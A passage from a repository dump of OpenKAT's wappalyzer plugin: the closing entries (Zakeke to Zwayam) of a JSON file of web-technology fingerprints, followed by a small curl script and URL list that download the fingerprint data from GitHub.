mostly used to manage ecommerce store.\",\n    \"icon\": \"Zakeke.png\",\n    \"js\": {\n      \"zakekeBoot\": \"\",\n      \"zakekeCustomizeLabel\": \"\",\n      \"zakekeLoading\": \"\",\n      \"zakekeProductPage\": \"\"\n    },\n    \"pricing\": [\n      \"recurring\",\n      \"low\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.zakeke.com\"\n  },\n  \"Zakeke Interactive Product Designer\": {\n    \"cats\": [\n      87,\n      76\n    ],\n    \"description\": \"Zakeke Interactive Product Designer lets customers personalise any product and visualise how they’ll look before checking out.\",\n    \"icon\": \"Zakeke.png\",\n    \"implies\": [\n      \"Zakeke\"\n    ],\n    \"pricing\": [\n      \"recurring\",\n      \"low\"\n    ],\n    \"requires\": [\n      \"WooCommerce\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/wp-content/plugins/zakeke-interactive-product-designer/.+\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.zakeke.com\"\n  },\n  \"Zakeke Visual Customizer\": {\n    \"cats\": [\n      100,\n      76\n    ],\n    \"description\": \"Zakeke Visual Customizer is a cloud-connected visual ecommerce tool that allows brands and retailers to offer live, personalised, 2D, 3D, and augmented reality (AR) functionality for their products.\",\n    \"icon\": \"Zakeke.png\",\n    \"implies\": [\n      \"Zakeke\"\n    ],\n    \"pricing\": [\n      \"recurring\",\n      \"low\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.zakeke\\\\.com/Scripts/integration/shopify/\"\n    ],\n    \"website\": \"https://www.zakeke.com\"\n  },\n  \"Zakra\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Zakra is flexible, fast, lightweight and modern multipurpose WordPress theme that comes with many starter free sites.\",\n    \"dom\": [\n      \"link#zakra-style-css\"\n    ],\n    \"icon\": \"Zakra.svg\",\n    \"js\": {\n      \"zakraFrontend\": \"\",\n      \"zakraNavHelper.dimension\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/zakra/\"\n    ],\n    \"website\": \"https://zakratheme.com\"\n  },\n  \"Zammit\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Zammit is an ecommerce platform based in Egypt.\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scripts\": [\n      \"merchants\\\\.zammit\\\\.shop/\"\n    ],\n    \"website\": \"https://www.zammit.shop\"\n  },\n  \"Zanox\": {\n    \"cats\": [\n      36\n    ],\n    \"html\": [\n      \"<img [^>]*src=\\\"[^\\\"]+ad\\\\.zanox\\\\.com\"\n    ],\n    \"icon\": \"Zanox.png\",\n    \"js\": {\n      \"zanox\": \"\"\n    },\n    \"scriptSrc\": [\n      \"zanox\\\\.com/scripts/zanox\\\\.js$\"\n    ],\n    \"website\": \"https://zanox.com\"\n  },\n  \"Zapiet\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Zapiet is a store pickup and local delivery solution for ecommerce.\",\n    \"icon\": \"Zapiet.svg\",\n    \"js\": {\n      \"Zapiet\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.zapiet\\\\.com\"\n    ],\n    \"website\": \"https://www.zapiet.com\"\n  },\n  \"Zeabur\": {\n    \"cats\": [\n      62\n    ],\n    \"description\": \"Zeabur is a platform for running full stack apps and databases.\",\n    \"headers\": {\n      \"X-Zeabur-Request-Id\": \"\"\n    },\n    \"icon\": \"zeabur.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"payg\"\n    ],\n    \"website\": \"https://zeabur.com\"\n  },\n  \"Zeald\": {\n    \"cats\": [\n      6\n    ],\n    \"cookies\": {\n      \"ZES_BACKEND\": \"zeald\"\n    },\n    \"description\": \"Zeald is a full-service website design and digital marketing company.\",\n    \"icon\": \"Zeald.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"requires\": [\n      \"Cart Functionality\"\n    ],\n    \"website\": \"https://www.zeald.com\"\n  },\n  \"Zeleris\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"Zeleris provides door to door shipment delivery to Ireland, UK and the EU.\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\bZeleris\\\\b\"\n    ],\n    \"website\": \"https://www.zeleris.com\"\n  },\n  \"Zen Cart\": {\n    \"cats\": [\n      6\n    ],\n    \"icon\": \"Zen Cart.png\",\n    \"meta\": {\n      \"generator\": \"Zen Cart\"\n    },\n    \"website\": \"https://www.zen-cart.com\"\n  },\n  \"Zen Planner\": {\n    \"cats\": [\n      72\n    ],\n    \"description\": \"Zen Planner is a software platform designed for fitness and wellness businesses, offering features such as membership management, class scheduling, and billing automation.\",\n    \"icon\": \"Zen Planner.svg\",\n    \"js\": {\n      \"zenplanner\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.zenplanner\\\\.com/\"\n    ],\n    \"website\": \"https://zenplanner.com\"\n  },\n  \"Zenchef\": {\n    \"cats\": [\n      93\n    ],\n    \"description\": \"Zenchef is a restaurant management software solution that simplifies the customer restaurant experience.\",\n    \"icon\": \"Zenchef.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"sdk\\\\.zenchef\\\\.com/\"\n    ],\n    \"website\": \"https://www.zenchef.com\"\n  },\n  \"Zend\": {\n    \"cats\": [\n      22\n    ],\n    \"cookies\": {\n      \"ZENDSERVERSESSID\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:zend:zend_server:*:*:*:*:*:*:*:*\",\n    \"description\": \"Zend is a company that provides PHP development tools and solutions, including frameworks, servers, and development environments, to help developers build, deploy, and manage PHP applications.\",\n    \"headers\": {\n      \"X-Powered-By\": \"Zend(?:Server)?(?:[\\\\s/]?([0-9.]+))?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Zend.svg\",\n    \"website\": \"https://zend.com\"\n  },\n  \"Zendesk\": {\n    \"cats\": [\n      4,\n      13,\n      52\n    ],\n    \"cookies\": {\n      \"_help_center_session\": \"\",\n      \"_zendesk_cookie\": \"\",\n      \"_zendesk_shared_session\": \"\"\n    },\n    \"description\": \"Zendesk is a cloud-based help desk management solution offering customizable tools to build customer service portal, knowledge base and online communities.\",\n    \"dns\": {\n      \"TXT\": [\n        \"mail\\\\.zendesk\\\\.com\"\n      ]\n    },\n    \"headers\": {\n      \"x-zendesk-user-id\": \"\"\n    },\n    \"icon\": \"Zendesk.svg\",\n    \"js\": {\n      \"Zendesk\": \"\"\n    },\n    \"pricing\": [\n      \"low\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"static\\\\.zdassets\\\\.com\"\n    ],\n    \"website\": \"https://zendesk.com\"\n  },\n  \"Zendesk Chat\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Zendesk Chat is a live chat and communication widget.\",\n    \"icon\": \"Zendesk.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"v2\\\\.zopim\\\\.com\"\n    ],\n    \"website\": \"https://www.zendesk.com/service/messaging/live-chat-software/\"\n  },\n  \"Zendesk Sunshine Conversations\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Zendesk Sunshine Conversations lets you share a single, continuous conversation with every team in your business. With a unified API and native connectors to popular business applications like Zendesk and Slack, everyone in your organization can get access to a single view of the customer conversation.\",\n    \"icon\": \"Zendesk.svg\",\n    \"implies\": [\n      \"Zendesk\"\n    ],\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.smooch\\\\.io/\"\n    ],\n    \"website\": \"https://www.zendesk.com/platform/conversations\"\n  },\n  \"Zenfolio\": {\n    \"cats\": [\n      7\n    ],\n    \"description\": \"Zenfolio is a photography website builder.\",\n    \"icon\": \"Zenfolio.png\",\n    \"js\": {\n      \"Zenfolio\": \"\"\n    },\n    \"website\": \"https://zenfolio.com\"\n  },\n  \"Zenrez\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Zenrez is a provider of sales and marketing software designed for boutique fitness studios, with a focus on revenue management.\",\n    \"icon\": \"Zenrez.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"widget\\\\.zenrez\\\\.com/\"\n    ],\n    \"website\": \"https://zenrez.com\"\n  },\n  \"Zentap\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Zentap is a real estate marketing platform designed to create and manage marketing campaigns, track leads, and measure results.\",\n    \"icon\": \"Zentap.svg\",\n    \"meta\": {\n      \"generator\": \"Zentap\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://zentap.com\"\n  },\n  \"Zeotap\": {\n    \"cats\": [\n      97\n    ],\n    \"description\": \"Zeotap is a customer intelligence platform that helps brands better understand their customers and predict behaviors.\",\n    \"dom\": [\n      \"link[href*='.zeotap.com']\"\n    ],\n    \"icon\": \"Zeotap.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.zeotap\\\\.com\"\n    ],\n    \"website\": \"https://zeotap.com\"\n  },\n  \"Zepto\": {\n    \"cats\": [\n      59\n    ],\n    \"icon\": \"Zepto.png\",\n    \"js\": {\n      \"Zepto\": \"\"\n    },\n    \"scriptSrc\": [\n      \"zepto.*\\\\.js\"\n    ],\n    \"website\": \"https://zeptojs.com\"\n  },\n  \"ZestMoney\": {\n    \"cats\": [\n      91\n    ],\n    \"description\": \"ZestMoney is a fintech company that uses digital EMI without the need for a credit card or a credit score.\",\n    \"icon\": \"ZestMoney.svg\",\n    \"js\": {\n      \"ZestMoneyWidget\": \"\",\n      \"zestBind\": \"\",\n      \"zestMerchant\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.zestmoney.in\"\n  },\n  \"Zeus Technology\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Zeus Technology is a media monetisation platform that levels the playing field for publishers and advertisers of all sizes.\",\n    \"icon\": \"Zeus Technology.svg\",\n    \"js\": {\n      \"zeus.version\": \"v([\\\\d\\\\.]+)\\\\;version:\\\\1\",\n      \"zeusAdUnitPath\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.zeustechnology.com\"\n  },\n  \"Zevi\": {\n    \"cats\": [\n      29\n    ],\n    \"cookies\": {\n      \"zevi-_zldt\": \"\"\n    },\n    \"description\": \"Zevi is an AI-powered site search and discovery platform designed to enhance product discovery.\",\n    \"icon\": \"Zevi.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.zevi\\\\.ai/\"\n    ],\n    \"website\": \"https://www.zevi.ai\"\n  },\n  \"Ziadah\": {\n    \"cats\": [\n      6,\n      32\n    ],\n    \"description\": \"Ziadah is a specialist in enhancing ecommerce sales by increasing Average Order Value (AOV) through strategic inbound marketing, focusing on cross-selling and upselling techniques.\",\n    \"icon\": \"Ziadah.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.ziadah\\\\.app/\"\n    ],\n    \"website\": \"https://www.ziadah.app\"\n  },\n  \"Zid\": {\n    \"cats\": [\n      6\n    ],\n    \"cookies\": {\n      \"zid_catalog_session\": \"\"\n    },\n    \"description\": \"Zid is an ecommerce SaaS that allows merchants to build and manage their online stores.\",\n    \"icon\": \"Zid.svg\",\n    \"js\": {\n      \"zid.store\": \"\",\n      \"zidTracking.sendGaProductRemoveFromCartEvent\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://zid.sa\"\n  },\n  \"Ziggy\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Ziggy is a library that allows using Laravel named routes in JavaScript.\",\n    \"icon\": \"Ziggy.png\",\n    \"implies\": [\n      \"Laravel\",\n      \"Inertia.js\"\n    ],\n    \"js\": {\n      \"Ziggy\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://github.com/tighten/ziggy\"\n  },\n  \"Zimbra\": {\n    \"cats\": [\n      30\n    ],\n    \"cookies\": {\n      \"ZM_TEST\": \"true\"\n    },\n    \"cpe\": \"cpe:2.3:a:zimbra:zimbra:*:*:*:*:*:*:*:*\",\n    \"description\": \"Zimbra is a provider of open-source email and collaboration software, offering solutions for email, calendar, contacts, and collaboration for both individual and enterprise use.\",\n    \"icon\": \"Zimbra.svg\",\n    \"implies\": [\n      \"Java\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://www.zimbra.com/\"\n  },\n  \"ZingChart\": {\n    \"cats\": [\n      25\n    ],\n    \"description\": \"ZingChart is a open-source and free JavaScript library for building interactive and intuitive charts.\",\n    \"icon\": \"ZingChart.svg\",\n    \"js\": {\n      \"zingchart\": \"\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"recurring\",\n      \"mid\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.zingchart.com\"\n  },\n  \"Zinnia\": {\n    \"cats\": [\n      11\n    ],\n    \"description\": \"Zimbra is a is a collaborative software suite that includes an email server and a web client.\",\n    \"icon\": \"Zinnia.png\",\n    \"implies\": [\n      \"Django\"\n    ],\n    \"meta\": {\n      \"generator\": \"Zinnia\"\n    },\n    \"website\": \"https://django-blog-zinnia.com\"\n  },\n  \"Zinrelo\": {\n    \"cats\": [\n      84\n    ],\n    \"description\": \"Zinrelo is an enterprise-grade, loyalty rewards platform.\",\n    \"icon\": \"Zinrelo.svg\",\n    \"js\": {\n      \"zrl_mi\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"website\": \"https://www.zinrelo.com\"\n  },\n  \"Zip\": {\n    \"cats\": [\n      41,\n      91\n    ],\n    \"description\": \"Zip is a payment service that lets you receive your purchase now and spread the total cost over a interest-free payment schedule.\",\n    \"dom\": [\n      \"link[href*='widgets.quadpay.com/'], div[data-quadpay-src*='.quadpay.com/']\"\n    ],\n    \"icon\": \"zip_pay.svg\",\n    \"js\": {\n      \"QuadPayShopify\": \"\",\n      \"checkout.enabledpayments.zip\": \"^true$\",\n      \"quadpayID\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"quadpay\\\\.com\",\n      \"static\\\\.zipmoney\\\\.com\\\\.au\",\n      \"zip\\\\.co\"\n    ],\n    \"website\": \"https://www.zip.co/\"\n  },\n  \"Zipify OCU\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Zipify OCU allows you to add upsells and cross-sells to your checkout sequence.\",\n    \"icon\": \"Zipify OCU.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/zipify-oneclickupsell-vendor\\\\.js\"\n    ],\n    \"website\": \"https://zipify.com/apps/ocu/\"\n  },\n  \"Zipify Pages\": {\n    \"cats\": [\n      100,\n      51\n    ],\n    \"description\": \"Zipify Pages the first landing page builder uniquely designed for ecommerce.\",\n    \"icon\": \"Zipify Pages.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"js\": {\n      \"ZipifyPages\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://zipify.com/apps/pages/\"\n  },\n  \"Zipkin\": {\n    \"cats\": [\n      10\n    ],\n    \"headers\": {\n      \"X-B3-Flags\": \"\",\n      \"X-B3-ParentSpanId\": \"\",\n      \"X-B3-Sampled\": \"\",\n      \"X-B3-SpanId\": \"\",\n      \"X-B3-TraceId\": \"\"\n    },\n    \"icon\": \"Zipkin.png\",\n    \"website\": \"https://zipkin.io/\"\n  },\n  \"Zipteams\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Zipteams is a live chat solution.\",\n    \"icon\": \"Zipteams.png\",\n    \"js\": {\n      \"ZipteamsWidget\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://zipteams.com\"\n  },\n  \"Zmags Creator\": {\n    \"cats\": [\n      95\n    ],\n    \"description\": \"Zmags Creator enables marketers to design and publish endless types of interactive digital experiences without coding.\",\n    \"icon\": \"Zmags Creator.png\",\n    \"js\": {\n      \"__zmags\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"c(?:reator)?\\\\.zmags\\\\.com/\"\n    ],\n    \"website\": \"https://www.creatorbyzmags.com\"\n  },\n  \"Zocdoc\": {\n    \"cats\": [\n      72\n    ],\n    \"description\": \"Zocdoc is a New York City-based company offering an online service that allows people to find and book in-person or telemedicine appointments for medical or dental care.\",\n    \"dom\": [\n      \"a[href*='www.zocdoc.com'][target='_blank']\"\n    ],\n    \"icon\": \"Zocdoc.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"offsiteschedule\\\\.zocdoc\\\\.com\"\n    ],\n    \"website\": \"https://www.zocdoc.com\"\n  },\n  \"Zoey\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Zoey is a cloud-based ecommerce platform for B2B and wholesale businesses.\",\n    \"excludes\": [\n      \"Magento\"\n    ],\n    \"icon\": \"Zoey.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"MySQL\"\n    ],\n    \"js\": {\n      \"Zoey.module\": \"\",\n      \"zoey.developer\": \"\",\n      \"zoeyDev\": \"\"\n    },\n    \"scriptSrc\": [\n      \"cdna4\\\\.zoeysite\\\\.com\"\n    ],\n    \"website\": \"https://www.zoey.com/\"\n  },\n  \"Zoho\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Zoho is a web-based online office suite.\",\n    \"dns\": {\n      \"TXT\": [\n        \"\\\\.zoho\\\\.com\"\n      ]\n    },\n    \"icon\": \"Zoho.svg\",\n    \"pricing\": [\n      \"low\",\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.zoho.com/\"\n  },\n  \"Zoho Commerce\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Zoho Commerce is a cloud-based ecommerce platform by Zoho Corporation, facilitating online store creation and management.\",\n    \"icon\": \"Zoho Commerce.svg\",\n    \"meta\": {\n      \"generator\": \"^Zoho Commerce\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.zoho.com/commerce/\"\n  },\n  \"Zoho Mail\": {\n    \"cats\": [\n      75\n    ],\n    \"description\": \"Zoho Mail is an email hosting service for businesses.\",\n    \"dns\": {\n      \"TXT\": [\n        \"transmail\\\\.net\"\n      ]\n    },\n    \"icon\": \"Zoho.svg\",\n    \"implies\": [\n      \"Zoho\"\n    ],\n    \"website\": \"https://www.zoho.com/mail/\"\n  },\n  \"Zoho PageSense\": {\n    \"cats\": [\n      74,\n      76\n    ],\n    \"description\": \"Zoho PageSense is a conversion optimisation platform which combines the power of web analytics, A/B testing, and personalisation.\",\n    \"icon\": \"Zoho.svg\",\n    \"implies\": [\n      \"Zoho\"\n    ],\n    \"js\": {\n      \"$pagesense\": \"\",\n      \"pagesense\": \"\"\n    },\n    \"pricing\": [\n      \"recurring\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.pagesense\\\\.(?:cn|io)?\"\n    ],\n    \"website\": \"https://www.zoho.com/pagesense/\"\n  },\n  \"Zoko\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Zoko is an all-in-one system that leverages the WhatsApp API to help you do business, on WhatsApp\",\n    \"icon\": \"Zoko.svg\",\n    \"implies\": [\n      \"WhatsApp Business Chat\"\n    ],\n    \"js\": {\n      \"__zoko_app_version\": \"\"\n    },\n    \"pricing\": [\n      \"recurring\",\n      \"payg\",\n      \"mid\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"zoko-shopify-prod\\\\.web\\\\.app\"\n    ],\n    \"website\": \"https://www.zoko.io/\"\n  },\n  \"Zola\": {\n    \"cats\": [\n      57\n    ],\n    \"description\": \"Zola is a static site engine that consolidates essential features in a single binary.\",\n    \"icon\": \"Zola.svg\",\n    \"meta\": {\n      \"generator\": \"^Zola(?:\\\\s[\\\\d\\\\.]+)?$\"\n    },\n    \"oss\": true,\n    \"website\": \"https://www.getzola.org/\"\n  },\n  \"Zone.js\": {\n    \"cats\": [\n      12\n    ],\n    \"icon\": \"Angular.svg\",\n    \"implies\": [\n      \"Angular\"\n    ],\n    \"js\": {\n      \"Zone.root\": \"\"\n    },\n    \"website\": \"https://github.com/angular/angular/tree/master/packages/zone.js\"\n  },\n  \"Zonos\": {\n    \"cats\": [\n      106\n    ],\n    \"description\": \"Zonos is a cross-border ecommerce software and app solution for companies with international business.\",\n    \"icon\": \"Zonos.svg\",\n    \"js\": {\n      \"Zonos\": \"\",\n      \"zonos\": \"\",\n      \"zonosCheckout\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.zonos\\\\.com/\"\n    ],\n    \"website\": \"https://zonos.com\"\n  },\n  \"ZoodPay\": {\n    \"cats\": [\n      91\n    ],\n    \"description\": \"ZoodPay is a financial technology company that provides payment and financing solutions, including buy-now-pay-later (BNPL) services and point-of-sale financing, to facilitate transactions for consumers and businesses.\",\n    \"dom\": [\n      \"img[src*='zoodpay']\"\n    ],\n    \"icon\": \"ZoodPay.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"wp-content/plugins/zoodpay/(?:.+\\\\?ver=([\\\\d\\\\.]+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.zoodpay.com\"\n  },\n  \"Zoominfo\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"ZoomInfo provides actionable B2B contact and company information for sales and marketing teams.\",\n    \"icon\": \"Zoominfo.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"ws\\\\.zoominfo\\\\.com\"\n    ],\n    \"website\": \"https://www.zoominfo.com/\"\n  },\n  \"Zoominfo Chat\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"ZoomInfo chat is a live chat solution.\",\n    \"icon\": \"Zoominfo.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"madstreetden\\\\.widget\\\\.insent\\\\.ai\"\n    ],\n    \"website\": \"https://www.zoominfo.com/chat\"\n  },\n  \"Zoorate\": {\n    \"cats\": [\n      90\n    ],\n    \"description\": \"Zoorate is a user-generated content sharing service tailored for retailers, facilitating the exchange of customer experiences and feedback.\",\n    \"icon\": \"Zoorate.svg\",\n    \"js\": {\n      \"zoorate_params\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"widget\\\\.zoorate\\\\.com/\"\n    ],\n    \"website\": \"https://zoorate.com\"\n  },\n  \"Zoorix\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Zoorix is a tool that helps businesses increase revenue by facilitating upselling and cross-selling.\",\n    \"icon\": \"Zoorix.svg\",\n    \"js\": {\n      \"Zoorix\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.zoorix\\\\.com/\"\n    ],\n    \"website\": \"https://www.zoorix.com\"\n  },\n  \"Zope\": {\n    \"cats\": [\n      22\n    ],\n    \"cpe\": \"cpe:2.3:a:zope:zope:*:*:*:*:*:*:*:*\",\n    \"description\": \"Zope is an open-source web application server and content management framework that helps developers build and manage complex web applications with features like object-oriented programming and scalable architecture.\",\n    \"headers\": {\n      \"Server\": \"^Zope/\"\n    },\n    \"icon\": \"Zope.svg\",\n    \"implies\": [\n      \"Python\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://zope.org\"\n  },\n  \"Zotabox\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Zotabox is marketing tool which includes popups, header bars, page/form builder, testimonial, live chat, etc.\",\n    \"icon\": \"zotabox.svg\",\n    \"js\": {\n      \"Zotabox\": \"\",\n      \"Zotabox_Init\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"website\": \"https://info.zotabox.com\"\n  },\n  \"Zowie\": {\n    \"cats\": [\n      52,\n      53\n    ],\n    \"description\": \"Zowie is an AI-powered customer service suite tailored for ecommerce, aimed at cost-saving and revenue generation through value-driven interactions.\",\n    \"dom\": [\n      \"div#zowieChatbotWrapper\"\n    ],\n    \"icon\": \"Zowie.svg\",\n    \"js\": {\n      \"Zowie\": \"\",\n      \"zowieJsonp\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://getzowie.com\"\n  },\n  \"Zozo\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Zozo is a multi-channel ecommerce services provider from Vietnam.\",\n    \"dom\": {\n      \"a[href*='/zozo.vn/'][href*='footerurl'][target='_blank']\": {\n        \"text\": \"^Zozo\"\n      }\n    },\n    \"excludes\": [\n      \"OpenCart\"\n    ],\n    \"icon\": \"Zozo.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"MySQL\"\n    ],\n    \"meta\": {\n      \"generator\": \"Zozo Ecommerce\"\n    },\n    \"scriptSrc\": [\n      \"zozo-main\\\\.min\\\\.js\"\n    ],\n    \"website\": \"https://zozo.vn\"\n  },\n  \"Zuberance\": {\n    \"cats\": [\n      94\n    ],\n    \"description\": \"Zuberance is a platform that transforms enthusiastic customers into a marketing force, driving recommendations and sales for leading B2B and B2C brands.\",\n    \"dom\": [\n      \"link[href*='static.zuberance.com/']\"\n    ],\n    \"icon\": \"Zuberance.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.zuberance\\\\.com/\"\n    ],\n    \"website\": \"https://zuberance.com\"\n  },\n  \"Zuora\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Zuora is a platform that offers subscription billing management software.\",\n    \"icon\": \"Zuora.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.zuora\\\\.com/\"\n    ],\n    \"website\": \"https://www.zuora.com\"\n  },\n  \"Zuppler\": {\n    \"cats\": [\n      93\n    ],\n    \"description\": \"Zuppler is a complete and branded online ordering solution for restaurants and caterers with multi-locations.\",\n    \"dom\": [\n      \"link[href*='.zuppler.com/']\"\n    ],\n    \"icon\": \"Zuppler.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.zuppler.com\"\n  },\n  \"Zwayam\": {\n    \"cats\": [\n      101\n    ],\n    \"description\": \"Zwayam is a recruitment software designed to manage the entire hiring process.\",\n    \"dom\": [\n      \"link[href*='/zwayam.min.css']\"\n    ],\n    \"icon\": \"Zwayam.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/zwayam\\\\.min\\\\.js\"\n    ],\n    \"website\": \"https://www.zwayam.com\"\n  }\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_wappalyzer/data/update.sh",
    "content": "#!/bin/bash\n\ncurl --parallel --parallel-max 3 --config urls.txt\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_wappalyzer/data/urls.txt",
    "content": "url = \"https://raw.githubusercontent.com/enthec/webappanalyzer/refs/heads/main/src/categories.json\"\noutput = \"categories.json\"\n\nurl = \"https://raw.githubusercontent.com/enthec/webappanalyzer/refs/heads/main/src/groups.json\"\noutput = \"groups.json\"\n\nurl = \"https://raw.githubusercontent.com/enthec/webappanalyzer/refs/heads/main/src/technologies/_.json\"\noutput = \"technologies/_.json\"\n\nurl = \"https://raw.githubusercontent.com/enthec/webappanalyzer/refs/heads/main/src/technologies/a.json\"\noutput = \"technologies/a.json\"\n\nurl = \"https://raw.githubusercontent.com/enthec/webappanalyzer/refs/heads/main/src/technologies/b.json\"\noutput = \"technologies/b.json\"\n\nurl = \"https://raw.githubusercontent.com/enthec/webappanalyzer/refs/heads/main/src/technologies/c.json\"\noutput = \"technologies/c.json\"\n\nurl = \"https://raw.githubusercontent.com/enthec/webappanalyzer/refs/heads/main/src/technologies/d.json\"\noutput = \"technologies/d.json\"\n\nurl = \"https://raw.githubusercontent.com/enthec/webappanalyzer/refs/heads/main/src/technologies/e.json\"\noutput = \"technologies/e.json\"\n\nurl = \"https://raw.githubusercontent.com/enthec/webappanalyzer/refs/heads/main/src/technologies/f.json\"\noutput = \"technologies/f.json\"\n\nurl = 